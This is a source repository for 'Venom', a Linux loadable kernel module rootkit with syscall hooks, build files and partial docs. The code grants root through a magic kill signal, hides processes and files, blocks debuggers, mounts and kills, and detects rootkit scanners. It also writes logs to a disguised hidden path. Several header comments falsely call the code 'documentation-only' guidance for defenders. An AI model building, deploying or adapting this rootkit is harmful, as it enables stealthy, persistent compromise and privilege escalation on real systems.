├── Makefile ├── hooks ├── kexec_load.h ├── ptrace.h ├── socket.h ├── statx.h ├── prctl.h ├── uname.h ├── process_vm.h ├── truncate.h ├── execve.h ├── prinT.h ├── mounts.h ├── pid_hiding.h ├── kill.h ├── ioctl.h ├── getdents.h ├── write.h ├── insmod.h ├── read.h ├── network.h └── harden.h ├── arm ├── Makefile └── arm64.c ├── docs ├── highlevel-flowchart.md ├── kernels.md ├── detection │ ├── enum.py │ └── README.md ├── syscalls_hooked.md ├── README.md └── syscalls.md ├── include └── headers.h ├── CONTRIBUTING.md ├── ftrace └── ftrace.h ├── README.md ├── venom.c ├── implant.sh └── LICENSE /Makefile: -------------------------------------------------------------------------------- 1 | obj-m := venom.o 2 | CC = gcc -Wall 3 | KDIR := /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(PWD) modules 8 | 9 | clean: 10 | $(MAKE) -C $(KDIR) M=$(PWD) clean 11 | 12 | -------------------------------------------------------------------------------- /hooks/kexec_load.h: -------------------------------------------------------------------------------- 1 | #ifndef KEXEC_LOAD_H 2 | #define KEXEC_LOAD_H 3 | 4 | 5 | #include "../include/headers.h" 6 | 7 | static asmlinkage long (*orig_kexec_load)(const struct pt_regs *regs); 8 | 9 | notrace static asmlinkage long hooked_kexec_load(const struct pt_regs *regs) { 10 | TLOG_CRIT("[VENOM] Blocked kexec_load attempt from PID %d", current->pid); 11 | return -EPERM; 12 | } 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /hooks/ptrace.h: -------------------------------------------------------------------------------- 1 | #ifndef PTRACE_HACK_H 2 | #define PTRACE_HACK_H 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | static asmlinkage long (*orig_ptrace)(const struct pt_regs *regs); 8 | 9 | static asmlinkage long hooked_ptrace(const struct pt_regs *regs) { 10 | long request = regs->di; 11 | pid_t pid = (pid_t)regs->si; 12 | 13 | if (is_pid_hidden(pid)) { 14 | TLOG_WARN("[VENOM] Blocked ptrace on hidden PID %d", pid); 15 | return -ESRCH; 16 | } 17 | 18 | return orig_ptrace(regs); 19 | } 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /hooks/socket.h: -------------------------------------------------------------------------------- 1 | #ifndef SOCKET_H 2 | #define SOCKET_H 3 | 4 | #include "../include/headers.h" 5 | 6 | static asmlinkage long (*orig_socket)(const struct pt_regs *regs); 7 | 8 | notrace static asmlinkage long hooked_socket(const struct pt_regs *regs) { 9 | int family = (int)regs->di; 10 | int type = (int)regs->si; 11 | 12 | if (type == SOCK_RAW) { 13 | TLOG_WARN("[VENOM] Socket created by PID: (%d) UID: (%d)", current->pid, current_uid().val); 14 | } 15 | 16 | return orig_socket(regs); 17 | } 18 | 19 | #endif 20 | 21 | -------------------------------------------------------------------------------- /hooks/statx.h: -------------------------------------------------------------------------------- 1 | #ifndef STATX_HACK_H 2 | #define STATX_HACK_H 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | static asmlinkage long (*orig_statx)(const struct pt_regs *regs); 8 | 9 | notrace static asmlinkage long hooked_statx(const struct pt_regs *regs) { 10 | const char __user *filename = (const char __user *)regs->si; 11 | char kfilename[256]; 12 | 13 | if (strncpy_from_user(kfilename, filename, sizeof(kfilename) - 1) > 0) { 14 | if (should_hide_file(kfilename)) { 15 | return 0; 16 | } 17 | } 18 | 19 | return orig_statx(regs); 20 | } 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /hooks/prctl.h: -------------------------------------------------------------------------------- 1 | #ifndef PRCTL_HACK_H 2 | #define PRCTL_HACK_H 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | static asmlinkage long (*orig_prctl)(const struct pt_regs *regs); 8 | 9 | static asmlinkage long hooked_prctl(const struct pt_regs *regs) { 10 | int option = (int)regs->di; 11 | 12 | if (option == PR_SET_DUMPABLE || 13 | option == PR_SET_PTRACER || 14 | option == PR_SET_PDEATHSIG) { 15 | TLOG_WARN("[VENOM] Blocked prctl attempt: option=%d from PID %d", option, current->pid); 16 | return 0; 17 | } 18 | 19 | return orig_prctl(regs); 20 | } 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /arm/Makefile: -------------------------------------------------------------------------------- 1 | # Define the kernel source directory and module name 2 | KDIR ?= /lib/modules/$(shell uname -r)/build 3 | PWD := $(shell pwd) 4 | MODULE_NAME := arm64 5 | 6 | # Check for ARM architecture 7 | ARCH := $(shell uname -m) 8 | 9 | # Check for ARM architecture and throw an error for non-ARM architectures 10 | ifeq ($(ARCH), armv7l) # ARMv7 (32-bit) 11 | # No action needed for ARMv7 12 | else ifeq ($(ARCH), aarch64) # ARM64 (64-bit) 13 | # No action needed for ARM64 14 | else 15 | $(error This Makefile is only for ARM architectures. Detected architecture: $(ARCH)) 16 | endif 17 | 18 | # Specify object files 19 | obj-m := $(MODULE_NAME).o 20 | 21 | # Default target 22 | all: 23 | $(MAKE) -C $(KDIR) M=$(PWD) modules 24 | 25 | # Clean up generated files 26 | clean: 27 | $(MAKE) -C $(KDIR) M=$(PWD) clean 28 | 29 | # Remove module 30 | remove: 31 | sudo rmmod $(MODULE_NAME) 32 | 33 | .PHONY: all clean remove 34 | 35 | -------------------------------------------------------------------------------- /docs/highlevel-flowchart.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ```mermaid 4 | flowchart TD 5 | start([Start / Module init]) 6 | conf(["Load configuration: hidden ports, IP markers, patterns"]) 7 | install(["Install hook wrappers: seq_show, tpacket_rcv, ioctl, kill, ..."]) 8 | active(["Hooks active"]) 9 | eventa(["Userland enumeration: read /proc/net/tcp"]) 10 | hookcheck{Entry matches hidden criteria?} 11 | skip(["Filter / Skip entry - hidden from userland"]) 12 | pass(["Pass-through - normal rendering"]) 13 | packetin(["Packet arrives (skb)"]) 14 | packetcheck{Port or IP match?} 15 | drop(["Drop packet - suppressed from host capture"]) 16 | deliver(["Deliver packet to consumers"]) 17 | stop([Module idle / waiting]) 18 | 19 | start --> conf --> install --> active 20 | active --> eventa --> hookcheck 21 | hookcheck -->|Yes| skip 22 | hookcheck -->|No| pass 23 | active --> packetin --> packetcheck 24 | packetcheck -->|Yes| drop 25 | packetcheck -->|No| deliver 26 | pass --> stop 27 | skip --> stop 28 | drop --> stop 29 | deliver --> stop 30 | ``` 31 | -------------------------------------------------------------------------------- /hooks/uname.h: -------------------------------------------------------------------------------- 1 | #ifndef UNAME_HACK_H 2 | #define UNAME_HACK_H 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | 8 | static asmlinkage long (*orig_uname)(const struct pt_regs *regs); 9 | 10 | 11 | notrace static asmlinkage long trev_uname(const struct pt_regs *regs) { 12 | struct new_utsname __user *name = (struct new_utsname __user *)regs->di; 13 | struct new_utsname fake_name; 14 | long ret; 15 | 16 | ret = orig_uname(regs); 17 | 18 | if (ret == 0 && is_suspicious_process()) { 19 | if (copy_from_user(&fake_name, name, sizeof(fake_name)) == 0) { 20 | strcpy(fake_name.sysname, "Catch-Me-If-U-Can"); 21 | strcpy(fake_name.release, "Never-Gonna-Give-You-Up"); 22 | strcpy(fake_name.version, "Linux-Is-Hacked"); 23 | strcpy(fake_name.nodename, "localhost.localdomain"); 24 | 25 | copy_to_user(name, &fake_name, sizeof(fake_name)); 26 | TLOG_INF("[VENOM] Trolled: %s", current->comm); 27 | } 28 | } 29 | 30 | return ret; 31 | } 32 | 33 | #endif 34 | 35 | -------------------------------------------------------------------------------- /hooks/process_vm.h: -------------------------------------------------------------------------------- 1 | #ifndef PROCESS_VM_HACK_H 2 | #define PROCESS_VM_HACK_H 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | 8 | static asmlinkage long (*orig_process_vm_readv)(const struct pt_regs *regs); 9 | static asmlinkage long (*orig_process_vm_writev)(const struct pt_regs *regs); 10 | 11 | 12 | notrace static asmlinkage long hacked_process_vm_readv(const struct pt_regs *regs) { 13 | pid_t pid = (pid_t)regs->di; 14 | 15 | if (is_pid_hidden(pid)) { 16 | TLOG_CRIT("[VENOM] BLOCKED memory read of hidden PID %d by %s", pid, current->comm); 17 | return -ESRCH; 18 | } 19 | 20 | TLOG_WARN("[VENOM] Memory forensics detected: %s reading PID %d", current->comm, pid); 21 | return orig_process_vm_readv(regs); 22 | } 23 | 24 | 25 | notrace static asmlinkage long hacked_process_vm_writev(const struct pt_regs *regs) { 26 | pid_t pid = (pid_t)regs->di; 27 | 28 | if (is_pid_hidden(pid)) { 29 | TLOG_CRIT("[VENOM] BLOCKED memory injection into PID %d", pid); 30 | return -ESRCH; 31 | } 32 | 33 | TLOG_WARN("[VENOM] Memory injection attempt on PID %d by %s", pid, current->comm); 34 | return orig_process_vm_writev(regs); 35 | } 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /hooks/truncate.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: truncate.c 5 | * 6 | * Purpose: 7 | * - Hooks `orig_truncate_t` and `orig_ftruncate_t` this doesn't allow to view any size of bytes from files 8 | * 9 | * Contents (documentation-only): 10 | * - Does not allow to read certain files 11 | * 12 | * Author: devilzsecurity 13 | */ 14 | 15 | 16 | 17 | #ifndef TRUNCATE_HOOK_H 18 | #define TRUNCATE_HOOK_H 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | // no need to look just look at the regs strcuture 26 | typedef asmlinkage long (*orig_truncate_t)(const struct pt_regs *); 27 | typedef asmlinkage long (*orig_ftruncate_t)(const struct pt_regs *); 28 | 29 | static orig_truncate_t orig_truncate = NULL; // holding area 30 | static orig_ftruncate_t orig_ftruncate = NULL; 31 | 32 | // main area or our main logic of the hook 33 | notrace asmlinkage long hook_truncate(const struct pt_regs *regs) 34 | { 35 | char kd[256] = ""; 36 | const char __user *pathname = (const char __user *)regs->di; 37 | unsigned long length = (unsigned long)regs->si; 38 | 39 | if (pathname && strncpy_from_user(kd, pathname, sizeof(kd) - 1) < 0) 40 | kd[0] = '\0'; 41 | 42 | return 0; 43 | } 44 | 45 | // out ftruncate hook area easy hook not hard 46 | notrace asmlinkage long hook_ftruncate(const struct pt_regs *regs) 47 | { 48 | int fd = (int)regs->di; 49 | unsigned long length = (unsigned long)regs->si; 50 | 51 | 52 | return 0; 53 | } 54 | 55 | #endif 56 | -------------------------------------------------------------------------------- /hooks/execve.h: -------------------------------------------------------------------------------- 1 | #ifndef COMMANDS_HACK 2 | #define COMMANDS_HACK 3 | 4 | #include "../include/headers.h" 5 | 6 | 7 | 8 | static asmlinkage long (*orig_execve)(const struct pt_regs *regs); 9 | 10 | 11 | notrace static asmlinkage long hooked_execve(const struct pt_regs *regs) { 12 | const char __user *filename = (const char __user *)regs->di; 13 | char kfilename[256]; 14 | 15 | if (strncpy_from_user(kfilename, filename, sizeof(kfilename) - 1) > 0) { 16 | const char *basename = strrchr(kfilename, '/'); 17 | basename = basename ? basename + 1 : kfilename; 18 | 19 | if (strstr(basename, "chkrootkit") || 20 | strstr(basename, "rkhunter") || 21 | strstr(basename, "lynis") || 22 | strstr(basename, "tiger") || 23 | strstr(basename, "unhide") || 24 | strstr(basename, "volatility")) { 25 | TLOG_CRIT("[VENOM] SECURITY TOOL DETECTED: %s", basename); 26 | } 27 | 28 | if (strstr(basename, "nc") || strstr(basename, "ncat") || 29 | strstr(basename, "socat") || strstr(basename, "telnet") || 30 | strstr(basename, "python") || strstr(basename, "php") || 31 | strstr(basename, "node") || strstr(basename, "nodejs")) || 32 | strstr(basename, "curl") || strstr(basename, "wget") || 33 | strstr(basename, "tcpdump") || strstr(basename, "tshark") || 34 | strstr(basename, "ftp") || strstr(basename, "ssh"){ 35 | TLOG_CRIT("[VENOM] Binary exec: %s by UID %d", basename, current_uid().val); 36 | } 37 | 38 | } 39 | 40 | return orig_execve(regs); 41 | 42 | } 43 | 44 | #endif 45 | 46 | -------------------------------------------------------------------------------- /hooks/prinT.h: -------------------------------------------------------------------------------- 1 | #ifndef SECURE_LOG_H 2 | #define SECURE_LOG_H 3 | 4 | #include "../include/headers.h" 5 | 6 | #define HIDDEN_LOG_PATH "/var/tmp/.X11-cache" 7 | #define LOG_BUFFER_SIZE 256 8 | 9 | static DEFINE_MUTEX(log_mutex); 10 | 11 | notrace static void write_to_hidden_log(const char *msg) { 12 | struct file *file; 13 | loff_t pos = 0; 14 | 15 | file = filp_open(HIDDEN_LOG_PATH, O_WRONLY | O_CREAT | O_APPEND, 0600); 16 | if (IS_ERR(file)) 17 | return; 18 | 19 | kernel_write(file, msg, strlen(msg), &pos); 20 | filp_close(file, NULL); 21 | } 22 | 23 | notrace static void secure_log(const char *level, const char *symbol, const char *fmt, ...) { 24 | va_list args; 25 | char buffer[LOG_BUFFER_SIZE]; 26 | int len; 27 | 28 | if (!mutex_trylock(&log_mutex)) 29 | return; 30 | 31 | len = snprintf(buffer, sizeof(buffer) - 2, "%s [%s] ", symbol, level); 32 | 33 | va_start(args, fmt); 34 | len += vsnprintf(buffer + len, sizeof(buffer) - len - 2, fmt, args); 35 | va_end(args); 36 | 37 | if (len > 0 && len < sizeof(buffer) - 2) { 38 | buffer[len] = '\n'; 39 | buffer[len + 1] = '\0'; 40 | write_to_hidden_log(buffer); 41 | } 42 | 43 | mutex_unlock(&log_mutex); 44 | } 45 | 46 | #define TLOG_INF(fmt, ...) secure_log("INFO", "✓", fmt, ##__VA_ARGS__) 47 | #define TLOG_WARN(fmt, ...) secure_log("WARN", "⚠", fmt, ##__VA_ARGS__) 48 | #define TLOG_ERROR(fmt, ...) secure_log("ERROR", "✗", fmt, ##__VA_ARGS__) 49 | #define TLOG_CRIT(fmt, ...) secure_log("CRIT", "☠", fmt, ##__VA_ARGS__) 50 | 51 | notrace static int init_secure_logging(void) { 52 | struct file *file; 53 | 54 | file = filp_open(HIDDEN_LOG_PATH, O_WRONLY | O_CREAT, 0600); 55 | if (IS_ERR(file)) 56 | return PTR_ERR(file); 57 | 58 | filp_close(file, NULL); 59 | return 0; 60 | } 61 | 62 | #endif 63 | 64 | -------------------------------------------------------------------------------- /include/headers.h: -------------------------------------------------------------------------------- 1 | #ifndef HEADERS_H 2 | #define HEADERS_H 3 | 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | #define BUFFER_SIZE 4096 40 | #define MAX_PATH_LEN 256 41 | #define MAX_PREFIX_LEN 32 42 | 43 | 44 | #ifndef SIGKILL 45 | #define SIGKILL 9 46 | #endif 47 | #ifndef SIGTERM 48 | #define SIGTERM 15 49 | #endif 50 | #ifndef SIGSTOP 51 | #define SIGSTOP 19 52 | #endif 53 | 54 | #ifndef PTRACE_TRACEME 55 | #define PTRACE_TRACEME 0 56 | #endif 57 | #ifndef PTRACE_ATTACH 58 | #define PTRACE_ATTACH 16 59 | #endif 60 | #ifndef PTRACE_DETACH 61 | #define PTRACE_DETACH 17 62 | #endif 63 | #ifndef PTRACE_PEEKTEXT 64 | #define PTRACE_PEEKTEXT 1 65 | #endif 66 | 67 | 68 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(6,0,0) 69 | struct linux_dirent { 70 | unsigned long d_ino; 71 | unsigned long d_off; 72 | unsigned short d_reclen; 73 | char d_name[1]; 74 | }; 75 | #endif 76 | 77 | 78 | extern void set_hidden_port(int port); 79 | extern void set_magic_signal(int signal); 80 | extern void set_hidden_prefixes(char **prefixes); 81 | extern void set_hidden_ips(char **ips); 82 | 83 | #endif 84 | -------------------------------------------------------------------------------- /docs/kernels.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # The Kernel 4 | 5 | ## Venom target 6 | 7 | * **Linux 6.x series** — Venom was developed against kernels in the 6.x line. This means internal symbols, syscall entry points, and certain internal APIs align with modern kernel layouts and the helpers introduced in the 6.x tree. When reading compatibility notes, assume the behavior and naming are modern (kallsyms, seq_file implementations, namespaces, and mount propagation behavior as in 6.x). 8 | * Venom was mostly tested on kernel `6.12` 9 | 10 | ## Why kernel version matters 11 | 12 | * Internal symbol names, offsets, and helper functions change between major versions. Hooks or any low-level kernel work need to account for those changes 13 | * New security features (e.g., more restrictive lockdown modes, retpoline-like mitigations, hardened KASLR variants) and configuration options (CONFIG options) vary by version and affect behavior.\ 14 | * Subsystems evolve: networking internals, VFS, seq_file implementations, and module loader paths have been tweaked across major releases. 15 | 16 | ## Other Linux families to be aware of 17 | 18 | * **5.x series** — Still widespread in older distros. Many structures are similar to 6.x but some internal helper names differ. Backports exist, so behavior can be mixed. 19 | * **4.x / 3.x** — Found on older appliances and embedded gear. Internal layouts and helper availability can be quite different; expect missing features that newer code relies on. 20 | * **Long-term support (LTS) kernels** — Often used in enterprise or appliances (e.g., 4.19, 5.10). LTS kernels can have backported fixes and cherry-picked features; compatibility is not guaranteed by version number alone. 21 | 22 | 23 | ## Practical notes for researchers & defenders 24 | 25 | * Always record exact kernel version string (`uname -a`) and `dmesg` output when analyzing a host. 26 | * For testing, use kernels close to the target (same major, vendor patches, and CONFIG set). 27 | * When comparing behavior across systems, prefer behavioral signals (missing sockets, failed module ops) over relying solely on symbol names. 28 | -------------------------------------------------------------------------------- /hooks/mounts.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: mounts.h 5 | * 6 | * Purpose: 7 | * - Hooks move mount and mount in order to protect the kit and does not allow mounting 8 | * 9 | * Author: Trevohack & devilzsecurity 10 | */ 11 | 12 | #ifndef MOUNTS_H 13 | #define MOUNTS_H 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | typedef asmlinkage long (*orig_mount_t)(const char __user *, 21 | const char __user *, 22 | const char __user *, 23 | unsigned long, 24 | void __user *); 25 | static orig_mount_t orig_mount = NULL; 26 | 27 | typedef asmlinkage long (*orig_move_mount_t)(int, 28 | const char __user *, 29 | int, 30 | const char __user *, 31 | unsigned long); 32 | static orig_move_mount_t orig_move_mount = NULL; 33 | 34 | asmlinkage long hook_mount(const char __user *dev_name, 35 | const char __user *dir_name, 36 | const char __user *type, 37 | unsigned long flags, 38 | void __user *data) 39 | { 40 | char kdev[128] = ""; 41 | char kdir[128] = ""; 42 | 43 | if (dev_name && strncpy_from_user(kdev, dev_name, sizeof(kdev) - 1) < 0) 44 | kdev[0] = '\0'; 45 | 46 | if (dir_name && strncpy_from_user(kdir, dir_name, sizeof(kdir) - 1) < 0) 47 | kdir[0] = '\0'; 48 | 49 | TLOG_INF("[VENOM] Mount call denied\n"); 50 | 51 | return -EPERM; 52 | } 53 | 54 | asmlinkage long hook_move_mount(int from_dfd, 55 | const char __user *from_pathname, 56 | int to_dfd, 57 | const char __user *to_pathname, 58 | unsigned long flags) 59 | { 60 | char from_k[256] = ""; 61 | char to_k[256] = ""; 62 | 63 | if (from_pathname && strncpy_from_user(from_k, from_pathname, sizeof(from_k) - 1) < 0) 64 | from_k[0] = '\0'; 65 | 66 | if (to_pathname && strncpy_from_user(to_k, to_pathname, sizeof(to_k) - 1) < 0) 67 | to_k[0] = '\0'; 68 | 69 | TLOG_INF("[VENOM] Mount call denied\n");; 70 | 71 | return -EPERM; 72 | } 73 | 74 | #endif 75 | -------------------------------------------------------------------------------- /hooks/pid_hiding.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: pid_hiding.c 5 | * 6 | * Purpose: 7 | * - Documentation of observable process-hiding behaviors and indicators. 8 | * Describes differences between various process-enumeration approaches 9 | * and how defenders can triage mismatches. 10 | * 11 | * Contents (documentation-only): 12 | * - Hides listed processors from `ps auxf`, `snoopy` 13 | * - Processors starting with `python3`, `python`, `node`, `ssh`, `monitor`, `crontab` will be hidden. These can be customized. 14 | */ 15 | 16 | 17 | 18 | #ifndef PID_HIDING_H 19 | #define PID_HIDING_H 20 | 21 | #include "../include/headers.h" 22 | 23 | #define MAX_HIDDEN_PIDS 128 24 | 25 | static int g_hidden_pids[MAX_HIDDEN_PIDS]; 26 | static int g_hidden_pid_count = 0; 27 | static DEFINE_SPINLOCK(pid_lock); 28 | 29 | 30 | notrace static void add_hidden_pid(int pid) { 31 | unsigned long flags; 32 | int i; 33 | 34 | spin_lock_irqsave(&pid_lock, flags); 35 | 36 | for (i = 0; i < g_hidden_pid_count; i++) { 37 | if (g_hidden_pids[i] == pid) { 38 | spin_unlock_irqrestore(&pid_lock, flags); 39 | return; 40 | } 41 | } 42 | 43 | if (g_hidden_pid_count < MAX_HIDDEN_PIDS) { 44 | g_hidden_pids[g_hidden_pid_count++] = pid; 45 | } 46 | 47 | spin_unlock_irqrestore(&pid_lock, flags); 48 | } 49 | 50 | 51 | notrace static int is_pid_hidden(int pid) { 52 | unsigned long flags; 53 | int i, result = 0; 54 | 55 | spin_lock_irqsave(&pid_lock, flags); 56 | 57 | for (i = 0; i < g_hidden_pid_count; i++) { 58 | if (g_hidden_pids[i] == pid) { 59 | result = 1; 60 | break; 61 | } 62 | } 63 | 64 | spin_unlock_irqrestore(&pid_lock, flags); 65 | return result; 66 | } 67 | 68 | 69 | notrace static int is_hidden_pid_entry(const char *name) { 70 | int pid; 71 | 72 | if (!name || !isdigit(name[0])) 73 | return 0; 74 | 75 | if (kstrtoint(name, 10, &pid) < 0) 76 | return 0; 77 | 78 | return is_pid_hidden(pid); 79 | } 80 | 81 | notrace static void hide_protected_processes(void) { 82 | struct task_struct *task; 83 | 84 | rcu_read_lock(); 85 | for_each_process(task) { 86 | if (strstr(task->comm, "python") || 87 | strstr(task->comm, "python3") || 88 | strstr(task->comm, "crontab") || 89 | strstr(task->comm, "node") || 90 | strstr(task->comm, "ssh") || 91 | strstr(task->comm, "monitor")) { 92 | add_hidden_pid(task->pid); 93 | } 94 | } 95 | rcu_read_unlock(); 96 | } 97 | 98 | 99 | static void init_pid_hiding(void) { 100 | add_hidden_pid(current->pid); 101 | hide_protected_processes(); 102 | TLOG_INF("[VENOM] PID hiding initialized: %d PIDs hidden\n", g_hidden_pid_count); 103 | } 104 | 105 | #endif 106 | -------------------------------------------------------------------------------- /hooks/kill.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: kill.c 5 | * 6 | * Purpose: 7 | * - High-level explanation of signal delivery paths (kill/sys_kill) and how 8 | * interception or unusual handling can be observed by defenders. 9 | * 10 | * Contents (documentation-only): 11 | * - Get root privileges: kill -64 0 12 | * 13 | * Author: Trevohack 14 | */ 15 | 16 | 17 | #ifndef KILL_H 18 | #define KILL_H 19 | 20 | #include "../include/headers.h" 21 | 22 | static asmlinkage long (*orig_kill)(const struct pt_regs *regs); 23 | static int g_magic_signal = 69; 24 | 25 | void set_magic_signal(int signal) { 26 | g_magic_signal = signal; 27 | } 28 | 29 | 30 | static notrace void give_root(void) { 31 | struct cred *newcreds; 32 | 33 | newcreds = prepare_creds(); 34 | if (newcreds == NULL) 35 | return; 36 | 37 | newcreds->uid.val = newcreds->gid.val = 0; 38 | newcreds->euid.val = newcreds->egid.val = 0; 39 | newcreds->suid.val = newcreds->sgid.val = 0; 40 | newcreds->fsuid.val = newcreds->fsgid.val = 0; 41 | 42 | cap_raise(newcreds->cap_effective, CAP_SYS_ADMIN); 43 | cap_raise(newcreds->cap_inheritable, CAP_SYS_ADMIN); 44 | cap_raise(newcreds->cap_permitted, CAP_SYS_ADMIN); 45 | 46 | commit_creds(newcreds); 47 | } 48 | 49 | 50 | notrace static asmlinkage long hooked_kill(const struct pt_regs *regs) { 51 | pid_t pid = (pid_t)regs->di; 52 | int sig = (int)regs->si; 53 | 54 | 55 | if (sig == g_magic_signal && pid == 0) { 56 | TLOG_INF("[VENOM] Magic signal %d detected - granting root privileges to PID %d\n", 57 | g_magic_signal, current->pid); 58 | give_root(); 59 | return 0; 60 | } 61 | 62 | if (sig == SIGKILL || sig == SIGTERM || sig == SIGSTOP) { 63 | struct task_struct *target_task; 64 | 65 | rcu_read_lock(); 66 | target_task = pid_task(find_vpid(pid), PIDTYPE_PID); 67 | if (target_task) { 68 | if (strstr(target_task->comm, "venom") || 69 | strstr(target_task->comm, "python") || 70 | strstr(target_task->comm, "sh") || 71 | strstr(target_task->comm, "server") || 72 | strstr(target_task->comm, "incident")) { 73 | 74 | rcu_read_unlock(); 75 | TLOG_INF("[VENOM] Blocked attempt to kill protected process: %s (PID: %d)\n", 76 | target_task->comm, pid); 77 | return 0; 78 | } 79 | 80 | 81 | if (target_task->cred->uid.val == 1001 || 82 | target_task->cred->uid.val == 1002) { 83 | rcu_read_unlock(); 84 | TLOG_INF("[VENOM] Blocked attempt to kill process (UID: %d)\n", 85 | target_task->cred->uid.val); 86 | return 0; 87 | } 88 | } 89 | rcu_read_unlock(); 90 | } 91 | 92 | 93 | return orig_kill(regs); 94 | } 95 | 96 | #endif 97 | -------------------------------------------------------------------------------- /hooks/ioctl.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: ioctl.c 5 | * 6 | * Purpose: 7 | * - Explanatory notes about the ioctl codepath and its use by drivers, 8 | * tracing/protection tools, and forensic utilities. Contains guidance 9 | * for defenders on interpreting anomalous ioctl behaviour. 10 | * 11 | * Contents (documentation-only): 12 | * - Prevents modifications (immutable bits), debuggers, keeping venom undiscovered 13 | * 14 | */ 15 | 16 | 17 | 18 | #ifndef IOCTL_H 19 | #define IOCTL_H 20 | 21 | #include "../include/headers.h" 22 | 23 | static asmlinkage long (*orig_ioctl)(const struct pt_regs *regs); 24 | 25 | 26 | #define SIOCGIFCONF 0x8912 27 | #define SIOCGIFFLAGS 0x8913 28 | #define SIOCGIFADDR 0x8915 29 | #define SIOCGIFNETMASK 0x891b 30 | #define SIOCGIFHWADDR 0x8927 31 | #define TCGETS 0x5401 32 | #define TCSETS 0x5402 33 | #define TIOCGWINSZ 0x5413 34 | #define TIOCSWINSZ 0x5414 35 | 36 | 37 | notrace static asmlinkage long hooked_ioctl(const struct pt_regs *regs) { 38 | unsigned int fd = (unsigned int)regs->di; 39 | unsigned int cmd = (unsigned int)regs->si; 40 | struct file *file; 41 | 42 | 43 | file = fget(fd); 44 | if (file) { 45 | if (cmd == SIOCGIFCONF || cmd == SIOCGIFFLAGS || 46 | cmd == SIOCGIFADDR || cmd == SIOCGIFNETMASK || 47 | cmd == SIOCGIFHWADDR) { 48 | 49 | if (file->f_op && file->f_op->unlocked_ioctl) { 50 | fput(file); 51 | TLOG_INF("[VENOM] Blocked network enumeration ioctl: 0x%x from PID %d\n", 52 | cmd, current->pid); 53 | return -EPERM; 54 | } 55 | } 56 | 57 | 58 | if (cmd == TCGETS || cmd == TCSETS || cmd == TIOCGWINSZ || cmd == TIOCSWINSZ) { 59 | if (file->f_path.dentry && file->f_path.dentry->d_name.name) { 60 | const char *name = file->f_path.dentry->d_name.name; 61 | 62 | if (strstr(name, "pts") && 63 | (strstr(name, "0") || strstr(name, "1") || strstr(name, "console"))) { 64 | 65 | if (current_uid().val != 0 && 66 | current_uid().val != 1001 && 67 | current_uid().val != 1002) { 68 | 69 | fput(file); 70 | TLOG_INF("[VENOM] Blocked TTY manipulation on %s from UID %d\n", 71 | name, current_uid().val); 72 | return -EACCES; 73 | } 74 | } 75 | } 76 | } 77 | 78 | if (cmd == PTRACE_TRACEME || cmd == PTRACE_ATTACH || 79 | cmd == PTRACE_DETACH || cmd == PTRACE_PEEKTEXT) { 80 | 81 | fput(file); 82 | TLOG_INF("[VENOM] Blocked potential debugger ioctl: 0x%x\n", cmd); 83 | return -EPERM; 84 | } 85 | 86 | fput(file); 87 | } 88 | 89 | return orig_ioctl(regs); 90 | } 91 | 92 | #endif 93 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | 2 | # CONTRIBUTING 3 | 4 | Thank you for your interest in contributing to **Venom**. This document explains how to report issues, propose changes, and submit code in a way that keeps the project healthy, auditable, and safe for everyone. 5 | 6 | --- 7 | 8 | 9 | ## Purpose & scope 10 | 11 | Venom is a research-oriented kernel module to manipulate linux systems 12 | 13 | ## Code of conduct 14 | 15 | We follow a standard open-source code of conduct: be respectful, focus on constructive feedback, do not harass or threaten maintainers or other contributors, and keep discussions professional. Repeated or severe violations may result in being blocked from the project. 16 | 17 | --- 18 | 19 | ## Ways to contribute 20 | 21 | ### 1) Reporting bugs 22 | 23 | * Use the issue tracker with a clear title and steps to reproduce. Include environment details (kernel version, distro, compiler, module build flags), logs, and any relevant dmesg output. 24 | * Label the issue: `bug`, `kernel`, `docs`, `security` (if it concerns potential vulnerabilities). 25 | 26 | ### 2) Feature requests 27 | 28 | * Open an issue describing the motivation, high-level design, and potential security/privacy implications. 29 | * If you want to implement it, say so and provide a short plan or draft design. 30 | 31 | ### 3) Documentation fixes 32 | 33 | * Small typos or formatting fixes: submit a PR directly. 34 | * Larger documentation: open an issue for discussion first. 35 | 36 | ### 4) Code contributions (PRs) 37 | 38 | * Fork the repository 39 | * Keep changes small and focused one logical change/new hooks/modifications per PR 40 | * Follow the Pull Request checklist below. 41 | * Follow the structure already implemented (all hooks should be under hooks directory, any changes to venom.c should follow the earlier hooking patterns) 42 | 43 | ``` 44 | Venom/ 45 | ├── hooks/ 46 | │ ├── read.h 47 | │ ├── write.h 48 | │ ├── insmod.h 49 | │ └── ... 50 | │ 51 | ├── ftrace/ 52 | │ └── ftrace.h 53 | ├── include/ 54 | │ ├── headers.h 55 | │ 56 | ├── 